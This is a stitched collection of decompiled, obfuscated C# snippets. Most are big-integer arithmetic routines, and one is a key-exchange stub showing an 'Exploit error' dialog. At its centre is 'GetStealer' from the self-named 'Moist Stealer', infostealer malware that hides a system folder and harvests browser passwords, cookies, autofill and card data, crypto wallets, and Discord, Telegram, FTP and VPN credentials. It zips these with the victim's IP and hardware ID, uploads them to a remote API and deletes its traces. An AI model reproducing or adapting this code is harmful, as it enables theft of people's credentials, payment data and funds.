class5.int_2 = num2; while (class5.int_2 > 1 && class5.uint_0[class5.int_2 - 1] == 0u) { class5.int_2--; } class4 = Class23.smethod_6(class4, class5); if ((class4.uint_0[499] & 2147483648u) != 0u) { Class23 class6 = new Class23(); class6.uint_0[num2] = 1u; class6.int_2 = num2 + 1; class4 = Class23.smethod_4(class4, class6); } while (Class23.smethod_19(class4, class23_1)) { class4 = Class23.smethod_6(class4, class23_1); } return class4; }
private static Class23[] smethod_31(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3, Class23 class23_4, int int_3) { Class23[] array = new Class23[3]; if ((class23_2.uint_0[0] & 1u) == 0u) { throw new ArgumentException("Argument k must be odd."); } int num = class23_2.method_9(); uint num2 = (uint)(1 << ((num & 31) - 1 & 31)); Class23 @class = Class23.smethod_24(Class23.smethod_2(2), class23_3); Class23 class2 = Class23.smethod_24(Class23.smethod_2(1), class23_3); Class23 class3 = Class23.smethod_24(class23_0, class23_3); Class23 class4 = class2; bool flag = true; for (int i = class23_2.int_2 - 1; i >= 0; i--) { while (num2 != 0u && (i != 0 || num2 != 1u)) { if ((class23_2.uint_0[i] & num2) != 0u) { class4 = Class23.smethod_24(Class23.smethod_8(class4, class3), class23_3); @class = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, class3), Class23.smethod_8(class23_0, class2)), class23_3); class3 = class23_3.method_6(Class23.smethod_8(class3, class3), class23_3, class23_4); class3 = Class23.smethod_24(Class23.smethod_6(class3, Class23.smethod_9(Class23.smethod_8(class2, class23_1), 1)), class23_3); if (flag) { flag = false; } else { class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4); } class2 = Class23.smethod_24(Class23.smethod_8(class2, class23_1), class23_3); } else { class4 = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(class4, @class), class2), class23_3); class3 = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, class3), Class23.smethod_8(class23_0, class2)), class23_3); @class = class23_3.method_6(Class23.smethod_8(@class, @class), class23_3, class23_4); @class = Class23.smethod_24(Class23.smethod_6(@class, Class23.smethod_9(class2, 1)), class23_3); if (flag) { class2 = Class23.smethod_24(class23_1, class23_3); flag = false; } else { class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4); } } num2 >>= 1; } num2 = 2147483648u; } class4 = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(class4, @class), class2), class23_3); @class = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, class3), Class23.smethod_8(class23_0, class2)), class23_3); if (flag) { flag = false; } else { class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4); } class2 = Class23.smethod_24(Class23.smethod_8(class2, class23_1), class23_3); for (int i = 0; i < int_3; i++) { class4 = Class23.smethod_24(Class23.smethod_8(class4, @class), class23_3); @class = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, @class), Class23.smethod_9(class2, 1)), class23_3); if (flag) { class2 = Class23.smethod_24(class23_1, class23_3); flag = false; } else { class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4); } } array[0] = class4; array[1] = @class; array[2] = class2; return array; }
private static void smethod_22(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3) { uint[] array = new uint[500]; int num = 0; int i; for (i = 0; i < 500; i++) { class23_3.uint_0[i] = class23_0.uint_0[i]; } class23_3.int_2 = class23_0.int_2; while (class23_3.int_2 > 1 && class23_3.uint_0[class23_3.int_2 - 1] == 0u) { class23_3.int_2--; } ulong num2 = (ulong)class23_1.uint_0[0]; int num3 = class23_3.int_2 - 1; ulong num4 = (ulong)class23_3.uint_0[num3]; if (num4 >= num2) { ulong num5 = num4 / num2; array[num++] = (uint)num5; class23_3.uint_0[num3] = (uint)(num4 % num2); } num3--; while (num3 >= 0) { num4 = ((uint)((ulong)class23_3.uint_0[num3 + 1]) << 32) + (ulong)class23_3.uint_0[num3]; ulong num5 = num4 / num2; array[num++] = (uint)num5; class23_3.uint_0[num3 + 1] = 0u; class23_3.uint_0[num3--] = (uint)(num4 % num2); } class23_2.int_2 = num; int j = 0; i = class23_2.int_2 - 1; while (i >= 0) { class23_2.uint_0[j] = array[i]; i--; j++; } while (j < 500) { class23_2.uint_0[j] = 0u; j++; } while (class23_2.int_2 > 1 && class23_2.uint_0[class23_2.int_2 - 1] == 0u) { class23_2.int_2--; } if (class23_2.int_2 == 0) { class23_2.int_2 = 1; } while (class23_3.int_2 > 1 && class23_3.uint_0[class23_3.int_2 - 1] == 0u) { class23_3.int_2--; } }
public string method_3(int int_3) { if (int_3 < 2 || int_3 > 36) { throw new ArgumentException("Radix must be >= 2 and <= 36"); } string text = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; string text2 = ""; Class23 @class = this; bool flag = false; if ((@class.uint_0[499] & 2147483648u) != 0u) { flag = true; try { @class = Class23.smethod_14(@class); } catch (Exception) { } } Class23 class2 = new Class23(); Class23 class3 = new Class23(); Class23 class23_ = new Class23((long)int_3); if (@class.int_2 == 1 && @class.uint_0[0] == 0u) { text2 = "0"; } else { while (@class.int_2 > 1 || (@class.int_2 == 1 && @class.uint_0[0] != 0u)) { Class23.smethod_22(@class, class23_, class2, class3); if (class3.uint_0[0] < 10u) { text2 = class3.uint_0[0] + text2; } else { text2 = text[(int)(class3.uint_0[0] - 10u)] + text2; } @class = class2; } if (flag) { text2 = "-" + text2; } } return text2; }
public static Class23 smethod_27(Class23 class23_0, Class23 class23_1) { Class23 @class = new Class23(); int num = (class23_0.int_2 > class23_1.int_2) ? class23_0.int_2 : class23_1.int_2; for (int i = 0; i < num; i++) { uint num2 = class23_0.uint_0[i] ^ class23_1.uint_0[i]; @class.uint_0[i] = num2; } @class.int_2 = 500; while (@class.int_2 > 1 && @class.uint_0[@class.int_2 - 1] == 0u) { @class.int_2--; } return @class; }
public Class23 method_26() { uint num = (uint)this.method_9(); if ((num & 1u) != 0u) { num = (num >> 1) + 1u; } else { num >>= 1; } uint num2 = num >> 5; byte b = (byte)(num & 31u); Class23 @class = new Class23(); uint num3; if (b == 0) { num3 = 2147483648u; } else { num3 = (uint)(1 << (int)(b & 31)); num2 += 1u; } @class.int_2 = (int)num2; for (int num4 = (int)(num2 - 1u); num4 >= 0; num4--) { while (num3 != 0u) { @class.uint_0[num4] ^= num3; if (Class23.smethod_17(@class.method_24(3), this)) { @class.uint_0[num4] ^= num3; } num3 >>= 1; } num3 = 2147483648u; } return @class; }
public static int smethod_28(Class23 class23_0, Class23 class23_1) { if ((class23_1.uint_0[0] & 1u) == 0u) { throw new ArgumentException("Jacobi defined only for odd integers."); } if (Class23.smethod_19(class23_0, class23_1)) { class23_0 = Class23.smethod_24(class23_0, class23_1); } int result; if (class23_0.int_2 == 1 && class23_0.uint_0[0] == 0u) { result = 0; } else { if (class23_0.int_2 == 1 && class23_0.uint_0[0] == 1u) { result = 1; } else { if (Class23.smethod_18(class23_0, Class23.smethod_2(0))) { if ((Class23.smethod_6(class23_1, Class23.smethod_2(1)).uint_0[0] & 2u) == 0u) { result = Class23.smethod_28(Class23.smethod_14(class23_0), class23_1); } else { result = -Class23.smethod_28(Class23.smethod_14(class23_0), class23_1); } } else { int num = 0; int i = 0; IL_10C: while (i < class23_0.int_2) { uint num2 = 1u; for (int j = 0; j < 32; j++) { if ((class23_0.uint_0[i] & num2) != 0u) { i = class23_0.int_2; IL_108: i++; goto IL_10C; } num2 = (uint)num2 << 1; num++; } // goto IL_108; } Class23 @class = Class23.smethod_11(class23_0, num); int num3 = 1; if ((num & 1) != 0 && ((class23_1.uint_0[0] & 7u) == 3u || (class23_1.uint_0[0] & 7u) == 5u)) { num3 = -1; } if ((class23_1.uint_0[0] & 3u) == 3u && (@class.uint_0[0] & 3u) == 3u) { num3 = -num3; } if (@class.int_2 == 1 && @class.uint_0[0] == 1u) { result = num3; } else { result = num3 * Class23.smethod_28(Class23.smethod_24(class23_1, @class), @class); } } } } return result; }
private static void smethod_4() { Class24.class23_2 = new Class23(Class24.smethod_10(), 16); Debug.WriteLine(Class24.class23_0); Debug.WriteLine(Class24.class23_1); Class23 @class = Class24.class23_1.method_5(Class24.class23_2, Class24.class23_0); Class23 class2 = new Class23(Class24.smethod_8(Encoding.Default.GetBytes(@class.method_3(10)), Class24.int_0)); Class24.class23_3 = class2.method_5(Class24.class23_5, Class24.class23_4); }
public static Class23[] smethod_30(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3) { Class23[] result; if (class23_2.int_2 == 1 && class23_2.uint_0[0] == 0u) { result = new Class23[] { Class23.smethod_2(0), Class23.smethod_24(Class23.smethod_2(2), class23_3), Class23.smethod_24(Class23.smethod_2(1), class23_3) }; } else { Class23 @class = new Class23(); int num = class23_3.int_2 << 1; @class.uint_0[num] = 1u; @class.int_2 = num + 1; @class = Class23.smethod_23(@class, class23_3); int num2 = 0; int i = 0; IL_C3: while (i < class23_2.int_2) { uint num3 = 1u; for (int j = 0; j < 32; j++) { if ((class23_2.uint_0[i] & num3) != 0u) { i = class23_2.int_2; IL_BD: i++; goto IL_C3; } num3 = (uint)num3 << 1; num2++; } // goto IL_BD; } Class23 class23_4 = Class23.smethod_11(class23_2, num2); result = Class23.smethod_31(class23_0, class23_1, class23_4, class23_3, @class, num2); } return result; }
public Class23 method_20(Class23 class23_0) { Class23[] array = new Class23[] { Class23.smethod_2(0), Class23.smethod_2(1) }; Class23[] array2 = new Class23[2]; Class23[] array3 = new Class23[] { Class23.smethod_2(0), Class23.smethod_2(0) }; int num = 0; Class23 class23_ = class23_0; Class23 @class = this; while (@class.int_2 > 1 || (@class.int_2 == 1 && @class.uint_0[0] != 0u)) { Class23 class2 = new Class23(); Class23 class3 = new Class23(); if (num > 1) { Class23 class4 = Class23.smethod_24(Class23.smethod_6(array[0], Class23.smethod_8(array[1], array2[0])), class23_0); array[0] = array[1]; array[1] = class4; } if (@class.int_2 == 1) { Class23.smethod_22(class23_, @class, class2, class3); } else { Class23.smethod_21(class23_, @class, class2, class3); } array2[0] = array2[1]; array3[0] = array3[1]; array2[1] = class2; array3[1] = class3; class23_ = @class; @class = class3; num++; } if (array3[0].int_2 > 1 || (array3[0].int_2 == 1 && array3[0].uint_0[0] != 1u)) { throw new ArithmeticException("No inverse!"); } Class23 class5 = Class23.smethod_24(Class23.smethod_6(array[0], Class23.smethod_8(array[1], array2[0])), class23_0); if ((class5.uint_0[499] & 2147483648u) != 0u) { class5 = Class23.smethod_4(class5, class23_0); } return class5; }
// Token: 0x060005AE RID: 1454 RVA: 0x00027368 File Offset: 0x00025568 public static Enum3 smethod_0(Type type_0) { bool flag; return(Class23.smethod_1(type_0, out flag)); }
public static void GetStealer() { try { Directory.CreateDirectory(Help.Moist_Dir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory); GetFiles.Inizialize(Help.Moist_Dir); Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000)); try { Class4.smethod_0(Help.Cookies); } catch { } try { Class4.PlqfdbrYf(Help.Passwords); } catch { } try { Class4.smethod_2(Help.Autofills); } catch { } try { Class4.smethod_3(Help.Downloads); } catch { } try { Class4.smethod_4(Help.History); } catch { } try { Class4.smethod_1(Help.Cards); } catch { } try { Class12.smethod_2(); } catch { } try { Class12.smethod_3(); } catch { } try { Class25.smethod_0(Help.Moist_Dir); } catch { } try { Class15.smethod_0(Help.Moist_Dir); } catch { } try { Class24.smethod_0(Help.Moist_Dir); } catch { } try { Class23.smethod_0(Help.Moist_Dir); } catch { } try { Class20.smethod_0(Help.Moist_Dir); } catch { } try { TGrabber.Start(Help.Moist_Dir); } catch { } try { Class14.smethod_0(Help.Moist_Dir); } catch { } try { Class21.smethod_0(Help.Moist_Dir); } catch { } try { Class13.smethod_0(Help.Moist_Dir); } catch { } try { Class22.smethod_0(Help.Moist_Dir); } catch { } try { Class16.smethod_0(Help.Moist_Dir); } catch { } try { Class17.smethod_0(Help.Moist_Dir); } catch { } try { Class37.smethod_0(Help.Moist_Dir); } catch { } try { DomainDetect.Start(Help.Browsers); } catch { } string text = string.Concat(new string[] { Help.dir, "\\", Help.HWID, Help.smethod_0(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.CompressionLevel = 9; zipFile.Comment = string.Concat(new string[] { "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:", Environment.MachineName, "/", Environment.UserName, "\nIP: ", Help.IP, Help.Country(), "\nHWID: ", Help.HWID }); zipFile.AddDirectory(Help.Moist_Dir ?? ""); zipFile.Save(text ?? ""); } string text2 = text ?? ""; byte[] file = File.ReadAllBytes(text2); string url = string.Concat(new string[] { Help.ApiUrl, "?id=", Class1.string_0, "&caption=", "⚡️ Moist Stealer Gate detected new log! ⚡️\n", "\ud83d\udd25 User: "******"/", Environment.UserName, " \ud83d\udd25\n", "\ud83c\udf0d IP: " + Help.IP, " ", Help.Country(), "\n\n", string.Concat(new string[] { "\n\ud83c\udf10 Browsers Data\nPasswords: ", (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(), "\nCookies: ", (Class4.int_3 + Class12.int_0).ToString(), "\nHistory: ", Class4.int_4.ToString(), "\nAutofill: ", Class4.int_1.ToString(), "\nCC: ", Class4.int_5.ToString(), "\n" }), string.Concat(new string[] { "\n\ud83d\udcb6 Wallets: ", (Class37.int_0 > 0) ? "Yes" : "No", (Class31.int_0 > 0) ? " Electrum" : "", (Class26.int_0 > 0) ? " Armory" : "", (Class27.int_0 > 0) ? " Atomic" : "", (Class28.int_0 > 0) ? " BitcoinCore" : "", (Class29.int_0 > 0) ? " Bytecoin" : "", (Class30.int_0 > 0) ? " DashCore" : "", (Class32.int_0 > 0) ? " Ethereum" : "", (Class33.int_0 > 0) ? " Exodus" : "", (Class35.int_0 > 0) ? " LitecoinCore" : "", (Class36.int_0 > 0) ? " Monero" : "", (Class38.int_0 > 0) ? " Zcash" : "", (Class34.int_0 > 0) ? " Jaxx" : "", "\n\n\ud83e\uddf2 Grabbed files: ", GetFiles.count.ToString(), "\n\ud83d\udcac Discord: ", (Class14.int_0 > 0) ? "Yes" : "No", "\n\ud83d\udee9 Telegram: ", (TGrabber.count > 0) ? "Yes" : "No", "\n\ud83d\udca1 Jabber: ", (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No", (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "", (Class20.int_0 > 0) ? " Psi" : "", "\n\n\ud83d\udce1 FTP\nFileZilla: ", (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No", "\nTotalCmd: ", (Class17.int_0 > 0) ? "Yes" : "No", "\n\n⚖️ VPN\nNordVPN: ", (Class23.int_0 > 0) ? "Yes" : "No", "\nOpenVPN: ", (Class24.int_0 > 0) ? "Yes" : "No", "\nProtonVPN: ", (Class25.int_0 > 0) ? "Yes" : "No", "\n\nHWID: ", Help.HWID, "\n⚙️ ", Class22.smethod_4(), "\n\ud83d\udd0e Domain detect", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }) }); SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url); Directory.Delete(Help.dir + "\\", true); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); } catch { } }
public static Class23 smethod_11(Class23 class23_0, int int_3) { Class23 @class = new Class23(class23_0); @class.int_2 = Class23.smethod_12(@class.uint_0, int_3); if ((class23_0.uint_0[499] & 2147483648u) != 0u) { int num; for (num = 499; num >= @class.int_2; num--) { @class.uint_0[num] = 4294967295u; } uint num2 = 2147483648u; num = 0; while (num < 32 && (@class.uint_0[@class.int_2 - 1] & num2) == 0u) { @class.uint_0[@class.int_2 - 1] |= num2; num2 >>= 1; num++; } @class.int_2 = 500; } return @class; }
public Class23 method_5(Class23 class23_0, Class23 class23_1) { if ((class23_0.uint_0[499] & 2147483648u) != 0u) { throw new ArithmeticException("Positive exponents only."); } Class23 @class = Class23.smethod_2(1); bool flag = false; Class23 class2; if ((this.uint_0[499] & 2147483648u) != 0u) { class2 = Class23.smethod_24(Class23.smethod_14(this), class23_1); flag = true; } else { class2 = Class23.smethod_24(this, class23_1); } if ((class23_1.uint_0[499] & 2147483648u) != 0u) { class23_1 = Class23.smethod_14(class23_1); } Class23 class3 = new Class23(); int num = class23_1.int_2 << 1; class3.uint_0[num] = 1u; class3.int_2 = num + 1; class3 = Class23.smethod_23(class3, class23_1); int num2 = class23_0.method_9(); int num3 = 0; Class23 result; for (int i = 0; i < class23_0.int_2; i++) { uint num4 = 1u; int j = 0; while (j < 32) { if ((class23_0.uint_0[i] & num4) != 0u) { @class = this.method_6(Class23.smethod_8(@class, class2), class23_1, class3); } num4 = (uint)num4 << 1; class2 = this.method_6(Class23.smethod_8(class2, class2), class23_1, class3); if (class2.int_2 != 1 || class2.uint_0[0] != 1u) { num3++; if (num3 == num2) { break; } j++; } else { if (flag && (class23_0.uint_0[0] & 1u) != 0u) { result = Class23.smethod_14(@class); return result; } result = @class; return result; } } } if (flag && (class23_0.uint_0[0] & 1u) != 0u) { result = Class23.smethod_14(@class); return result; } result = @class; return result; }
private static string smethod_10() { int i = 10; string text = null; string text2 = null; string text3 = null; while (i > 0) { text = Class24.smethod_9(34); Class23 @class = new Class23(text, 16); string text4 = Class24.class23_1.method_5(@class, Class24.class23_0).ToString(); if (text4.Length >= 64) { text2 = text4; text3 = text; IL_75: string result; if (text != text3) { result = text3; } else { result = text; } return result; } if (text2 == null || text4.Length > text2.Length) { text2 = text4; text3 = text; } i--; } string result2; if (text != text3) { result2 = text3; } else { result2 = text; } return result2; }
public static Class23 smethod_13(Class23 class23_0) { Class23 @class = new Class23(class23_0); for (int i = 0; i < 500; i++) { @class.uint_0[i] = ~class23_0.uint_0[i]; } @class.int_2 = 500; while (@class.int_2 > 1 && @class.uint_0[@class.int_2 - 1] == 0u) { @class.int_2--; } return @class; }
public static Class23 smethod_14(Class23 class23_0) { Class23 result; if (class23_0.int_2 == 1 && class23_0.uint_0[0] == 0u) { result = new Class23(); } else { Class23 @class = new Class23(class23_0); for (int i = 0; i < 500; i++) { @class.uint_0[i] = ~class23_0.uint_0[i]; } long num = 1L; int num2 = 0; while (num != 0L && num2 < 500) { long num3 = (long)((ulong)@class.uint_0[num2]); num3 += 1L; @class.uint_0[num2] = (uint)unchecked(num3 & (long)((ulong)-1)); num = (int)num3 >> 32; num2++; } if ((class23_0.uint_0[499] & 2147483648u) == (@class.uint_0[499] & 2147483648u)) { throw new ArithmeticException("Overflow in negation.\n"); } @class.int_2 = 500; while (@class.int_2 > 1 && @class.uint_0[@class.int_2 - 1] == 0u) { @class.int_2--; } result = @class; } return result; }
public static bool smethod_16(Class23 class23_0, Class23 class23_1) { return !class23_0.Equals(class23_1); }
public static void smethod_2(string string_2) { try { Class24.class25_0 = new Class25(); Class23 @class = new Class23(string_2, 10); string text = @class.method_5(Class24.class23_2, Class24.class23_0).method_3(16).ToLower(); Class24.class25_0.method_0(Class26.smethod_1(text)); while (!Class24.class25_0.bool_0) { } } catch { AlertError alertError = new AlertError(); alertError.method_0("Exploit error", "Try again! Failure exploiting!"); alertError.ShowDialog(); } }
public static bool smethod_18(Class23 class23_0, Class23 class23_1) { int num = 499; bool result; if ((class23_0.uint_0[499] & 2147483648u) != 0u && (class23_1.uint_0[num] & 2147483648u) == 0u) { result = true; } else { if ((class23_0.uint_0[num] & 2147483648u) == 0u && (class23_1.uint_0[num] & 2147483648u) != 0u) { result = false; } else { int num2 = (class23_0.int_2 > class23_1.int_2) ? class23_0.int_2 : class23_1.int_2; num = num2 - 1; while (num >= 0 && class23_0.uint_0[num] == class23_1.uint_0[num]) { num--; } result = (num >= 0 && class23_0.uint_0[num] < class23_1.uint_0[num]); } } return result; }
private static void smethod_21(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3) { uint[] array = new uint[500]; int num = class23_0.int_2 + 1; uint[] array2 = new uint[num]; uint num2 = 2147483648u; uint num3 = class23_1.uint_0[class23_1.int_2 - 1]; int num4 = 0; int num5 = 0; while (num2 != 0u && (num3 & num2) == 0u) { num4++; num2 >>= 1; } for (int i = 0; i < class23_0.int_2; i++) { array2[i] = class23_0.uint_0[i]; } Class23.smethod_10(array2, num4); class23_1 = Class23.smethod_9(class23_1, num4); int j = num - class23_1.int_2; int num6 = num - 1; ulong num7 = (ulong)class23_1.uint_0[class23_1.int_2 - 1]; ulong num8 = (ulong)class23_1.uint_0[class23_1.int_2 - 2]; int num9 = class23_1.int_2 + 1; uint[] array3 = new uint[num9]; while (j > 0) { ulong num10 = ((uint)((ulong)array2[num6]) << 32) + (ulong)array2[num6 - 1]; ulong num11 = num10 / num7; ulong num12 = num10 % num7; bool flag = false; while (!flag) { flag = true; if (num11 == 4294967296uL || num11 * num8 > ((uint)num12 << 32) + (ulong)array2[num6 - 2]) { num11 -= 1uL; num12 += num7; if (num12 < 4294967296uL) { flag = false; } } } for (int k = 0; k < num9; k++) { array3[k] = array2[num6 - k]; } Class23 @class = new Class23(array3); Class23 class2 = Class23.smethod_8(class23_1, Class23.smethod_0((long)num11)); while (Class23.smethod_17(class2, @class)) { num11 -= 1uL; class2 = Class23.smethod_6(class2, class23_1); } Class23 class3 = Class23.smethod_6(@class, class2); for (int k = 0; k < num9; k++) { array2[num6 - k] = class3.uint_0[class23_1.int_2 - k]; } array[num5++] = (uint)num11; num6--; j--; } class23_2.int_2 = num5; int l = 0; int num13 = class23_2.int_2 - 1; while (num13 >= 0) { class23_2.uint_0[l] = array[num13]; num13--; l++; } while (l < 500) { class23_2.uint_0[l] = 0u; l++; } while (class23_2.int_2 > 1 && class23_2.uint_0[class23_2.int_2 - 1] == 0u) { class23_2.int_2--; } if (class23_2.int_2 == 0) { class23_2.int_2 = 1; } class23_3.int_2 = Class23.smethod_12(array2, num4); for (l = 0; l < class23_3.int_2; l++) { class23_3.uint_0[l] = array2[l]; } while (l < 500) { class23_3.uint_0[l] = 0u; l++; } }
// Token: 0x060005B8 RID: 1464 RVA: 0x00027754 File Offset: 0x00025954 private static Class23.Enum5 smethod_9(object object_0, object object_1, Type type_0, out object object_2) { if (object_0 == null) { throw new ArgumentNullException("initialValue"); } if (Class90.smethod_11(type_0)) { type_0 = Nullable.GetUnderlyingType(type_0); } Type type = object_0.GetType(); if (type_0 == type) { object_2 = object_0; return((Class23.Enum5) 0); } if (Class23.smethod_3(object_0.GetType()) && Class23.smethod_3(type_0)) { if (type_0.smethod_8()) { if (object_0 is string) { object_2 = Enum.Parse(type_0, object_0.ToString(), true); return((Class23.Enum5) 0); } if (Class23.smethod_13(object_0)) { object_2 = Enum.ToObject(type_0, object_0); return((Class23.Enum5) 0); } } object_2 = Convert.ChangeType(object_0, type_0, object_1); return((Class23.Enum5) 0); } if (object_0 is DateTime) { DateTime dateTime = (DateTime)object_0; if (type_0 == typeof(DateTimeOffset)) { object_2 = new DateTimeOffset(dateTime); return((Class23.Enum5) 0); } } byte[] b; if ((b = (object_0 as byte[])) != null && type_0 == typeof(Guid)) { object_2 = new Guid(b); return((Class23.Enum5) 0); } if (object_0 is Guid) { Guid guid = (Guid)object_0; if (type_0 == typeof(byte[])) { object_2 = guid.ToByteArray(); return((Class23.Enum5) 0); } } string text; if ((text = (object_0 as string)) != null) { if (type_0 == typeof(Guid)) { object_2 = new Guid(text); return((Class23.Enum5) 0); } if (type_0 == typeof(Uri)) { object_2 = new Uri(text, UriKind.RelativeOrAbsolute); return((Class23.Enum5) 0); } if (type_0 == typeof(TimeSpan)) { object_2 = Class23.smethod_4(text); return((Class23.Enum5) 0); } if (type_0 == typeof(byte[])) { object_2 = Convert.FromBase64String(text); return((Class23.Enum5) 0); } if (type_0 == typeof(Version)) { Version version; if (Version.TryParse(text, out version)) { object_2 = version; return((Class23.Enum5) 0); } object_2 = null; return((Class23.Enum5) 3); } else if (typeof(Type).IsAssignableFrom(type_0)) { object_2 = Type.GetType(text, true); return((Class23.Enum5) 0); } } if (type_0 == typeof(BigInteger)) { object_2 = Class23.smethod_6(object_0); return((Class23.Enum5) 0); } if (object_0 is BigInteger) { BigInteger bigInteger_ = (BigInteger)object_0; object_2 = Class23.smethod_7(bigInteger_, type_0); return((Class23.Enum5) 0); } TypeConverter converter = TypeDescriptor.GetConverter(type); if (converter != null && converter.CanConvertTo(type_0)) { object_2 = converter.ConvertTo(null, object_1, object_0, type_0); return((Class23.Enum5) 0); } TypeConverter converter2 = TypeDescriptor.GetConverter(type_0); if (converter2 != null && converter2.CanConvertFrom(type)) { object_2 = converter2.ConvertFrom(null, object_1, object_0); return((Class23.Enum5) 0); } if (object_0 == DBNull.Value) { if (Class90.smethod_10(type_0)) { object_2 = Class23.smethod_11(null, type, type_0); return((Class23.Enum5) 0); } object_2 = null; return((Class23.Enum5) 1); } else { if (!type_0.smethod_3() && !type_0.smethod_5() && !type_0.smethod_11()) { object_2 = null; return((Class23.Enum5) 3); } object_2 = null; return((Class23.Enum5) 2); } }